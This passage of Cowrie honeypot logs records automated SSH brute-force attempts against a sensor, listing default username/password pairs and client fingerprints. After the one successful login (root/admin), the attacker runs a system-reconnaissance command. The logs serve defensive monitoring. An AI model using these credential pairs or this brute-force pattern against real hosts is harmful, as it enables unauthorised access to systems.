sh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:38.097928Z","src_ip":"176.65.139.95","session":"f4d90e2e3b12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:38.376059Z","src_ip":"176.65.139.95","session":"f4d90e2e3b12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:39.465353Z","src_ip":"176.65.139.95","session":"f4d90e2e3b12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60292,"dst_ip":"159.203.135.109","dst_port":22,"session":"9efda4e4e8a1","protocol":"ssh","message":"New connection: 176.65.139.95:60292 (159.203.135.109:22) [session: 9efda4e4e8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:44.368779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:44.378954Z","src_ip":"176.65.139.95","session":"9efda4e4e8a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:44.456292Z","src_ip":"176.65.139.95","session":"9efda4e4e8a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:44.840657Z","src_ip":"176.65.139.95","session":"9efda4e4e8a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:46.120461Z","src_ip":"176.65.139.95","session":"9efda4e4e8a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.106.214.64","src_port":55192,"dst_ip":"10.17.0.5","dst_port":23,"session":"1138d012f91b","protocol":"telnet","message":"New connection: 37.106.214.64:55192 (10.17.0.5:23) [session: 1138d012f91b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:50.111170Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33958,"dst_ip":"159.203.135.109","dst_port":22,"session":"373f8591321b","protocol":"ssh","message":"New connection: 176.65.139.95:33958 (159.203.135.109:22) [session: 373f8591321b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:51.072854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:51.079856Z","src_ip":"176.65.139.95","session":"373f8591321b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:51.180958Z","src_ip":"176.65.139.95","session":"373f8591321b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:51.510590Z","src_ip":"176.65.139.95","session":"373f8591321b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:52.647263Z","src_ip":"176.65.139.95","session":"373f8591321b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33974,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdf8375278af","protocol":"ssh","message":"New connection: 176.65.139.95:33974 (159.203.135.109:22) [session: fdf8375278af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:57.832072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:57.863904Z","src_ip":"176.65.139.95","session":"fdf8375278af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:58.021010Z","src_ip":"176.65.139.95","session":"fdf8375278af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:58.387282Z","src_ip":"176.65.139.95","session":"fdf8375278af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:49:59.477265Z","src_ip":"176.65.139.95","session":"fdf8375278af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54826,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f478f38e110","protocol":"ssh","message":"New connection: 176.65.139.95:54826 (159.203.135.109:22) [session: 1f478f38e110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:04.495279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:04.499612Z","src_ip":"176.65.139.95","session":"1f478f38e110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:04.585606Z","src_ip":"176.65.139.95","session":"1f478f38e110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:04.862418Z","src_ip":"176.65.139.95","session":"1f478f38e110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:05.958413Z","src_ip":"176.65.139.95","session":"1f478f38e110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35362,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4a22bf21f8c","protocol":"ssh","message":"New connection: 176.65.139.95:35362 (159.203.135.109:22) [session: e4a22bf21f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:11.338396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:11.348708Z","src_ip":"176.65.139.95","session":"e4a22bf21f8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:11.433639Z","src_ip":"176.65.139.95","session":"e4a22bf21f8c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:11.696612Z","src_ip":"176.65.139.95","session":"e4a22bf21f8c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:11.947551Z","src_ip":"176.65.139.95","session":"e4a22bf21f8c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:11.953703Z","src_ip":"176.65.139.95","session":"e4a22bf21f8c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:12.040769Z","src_ip":"176.65.139.95","session":"e4a22bf21f8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:12.046176Z","src_ip":"176.65.139.95","session":"e4a22bf21f8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47256,"dst_ip":"159.203.135.109","dst_port":22,"session":"8456489b158b","protocol":"ssh","message":"New connection: 159.203.92.129:47256 (159.203.135.109:22) [session: 8456489b158b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:17.310461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:17.326592Z","src_ip":"159.203.92.129","session":"8456489b158b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:17.332726Z","src_ip":"159.203.92.129","session":"8456489b158b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LILIN","password":"LILIN","message":"login attempt [LILIN/LILIN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:17.355367Z","src_ip":"159.203.92.129","session":"8456489b158b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35374,"dst_ip":"159.203.135.109","dst_port":22,"session":"d29ecd3525fd","protocol":"ssh","message":"New connection: 176.65.139.95:35374 (159.203.135.109:22) [session: d29ecd3525fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:17.935961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:17.954273Z","src_ip":"176.65.139.95","session":"d29ecd3525fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:18.032263Z","src_ip":"176.65.139.95","session":"d29ecd3525fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:18.369106Z","src_ip":"159.203.92.129","session":"8456489b158b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:18.449141Z","src_ip":"176.65.139.95","session":"d29ecd3525fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:19.546633Z","src_ip":"176.65.139.95","session":"d29ecd3525fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36160,"dst_ip":"159.203.135.109","dst_port":22,"session":"2482c5edbd98","protocol":"ssh","message":"New connection: 176.65.139.95:36160 (159.203.135.109:22) [session: 2482c5edbd98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:24.831105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:50:24.849723Z","src_ip":"176.65.139.95","session":"2482c5edbd98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v0